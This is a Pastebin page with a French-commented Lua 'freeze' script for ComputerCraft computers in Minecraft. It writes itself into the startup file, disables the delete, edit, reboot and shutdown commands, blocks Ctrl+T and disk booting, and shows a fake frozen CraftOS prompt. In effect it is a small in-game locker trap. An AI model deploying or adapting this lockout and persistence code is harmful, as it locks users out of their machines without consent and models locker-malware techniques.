Advertisement
Leprofourbus

startup.lua

Dec 14th, 2024 (edited)
34
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.96 KB | None | 0 0
  1. -- freeze.lua
  2. local function blockSystem()
  3. -- Supprime tous les moyens de modifier le PC
  4. fs.delete(".nocreate") -- Empêche la création de nouveaux fichiers importants
  5. local file = fs.open(".nocreate", "w") -- Verrouille ce fichier
  6. file.write("")
  7. file.close()
  8.  
  9. -- Écrase les commandes principales pour bloquer toute action
  10. shell.setAlias("delete", "false")
  11. shell.setAlias("edit", "false")
  12. shell.setAlias("lua", "false")
  13. shell.setAlias("reboot", "false")
  14. shell.setAlias("shutdown", "false")
  15. shell.setAlias("label", "false")
  16.  
  17. -- Empêche de forcer le démarrage sans `startup`
  18. if fs.exists(".settings") then
  19. fs.delete(".settings")
  20. end
  21. local file = fs.open(".settings", "w")
  22. file.write('{"shell.allow_disk_startup": false}')
  23. file.close()
  24. end
  25.  
  26. local function disableCtrlT()
  27. -- Capture et bloque les événements de "termination"
  28. while true do
  29. local event = os.pullEventRaw()
  30. if event == "terminate" then
  31. -- Ignore complètement Ctrl+T
  32. else
  33. os.queueEvent(event)
  34. end
  35. end
  36. end
  37.  
  38. local function fakeTerminal()
  39. -- Interface réaliste qui simule CraftOS
  40. while true do
  41. term.clear()
  42. term.setCursorPos(1, 1)
  43. term.setTextColor(colors.yellow)
  44. print("CraftOS 1.8")
  45. term.setTextColor(colors.white)
  46. print("View the documentation at https://tweaked.cc")
  47. term.setTextColor(colors.yellow)
  48. write("> ")
  49. term.setTextColor(colors.white)
  50.  
  51. -- Curseur clignotant
  52. local cursor = true
  53. while true do
  54. term.setCursorBlink(false)
  55. if cursor then
  56. write("_")
  57. else
  58. write(" ")
  59. end
  60. cursor = not cursor
  61. sleep(0.5)
  62. term.setCursorPos(3, 3) -- Replace le curseur à la bonne position
  63. end
  64. end
  65. end
  66.  
  67. local function installTrap()
  68. -- Crée un programme de "freeze" dans le fichier startup
  69. local startupFile = fs.open("startup", "w")
  70. startupFile.write([[
  71. parallel.waitForAny(
  72. function()
  73. while true do
  74. term.clear()
  75. term.setCursorPos(1, 1)
  76. term.setTextColor(colors.yellow)
  77. print("CraftOS 1.8")
  78. term.setTextColor(colors.white)
  79. print("View the documentation at https://tweaked.cc")
  80. term.setTextColor(colors.yellow)
  81. write("> ")
  82. term.setTextColor(colors.white)
  83.  
  84. -- Curseur clignotant
  85. local cursor = true
  86. while true do
  87. term.setCursorBlink(false)
  88. if cursor then
  89. write("_")
  90. else
  91. write(" ")
  92. end
  93. cursor = not cursor
  94. sleep(0.5)
  95. term.setCursorPos(3, 3) -- Replace le curseur à la bonne position
  96. end
  97. end
  98. end,
  99. function()
  100. while true do
  101. local event = os.pullEventRaw()
  102. if event == "terminate" then
  103. -- Bloque Ctrl+T
  104. else
  105. os.queueEvent(event)
  106. end
  107. end
  108. end
  109. )
  110. ]])
  111. startupFile.close()
  112. print("Piège installé. Redémarrage...")
  113. sleep(2)
  114. os.reboot()
  115. end
  116.  
  117. -- Étape 1 : Bloque complètement le système
  118. blockSystem()
  119.  
  120. -- Étape 2 : Installe le piège
  121. if not fs.exists("startup") then
  122. installTrap()
  123. else
  124. -- Démarre immédiatement le "freeze" si déjà installé
  125. parallel.waitForAny(fakeTerminal, disableCtrlT)
  126. end
  127.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement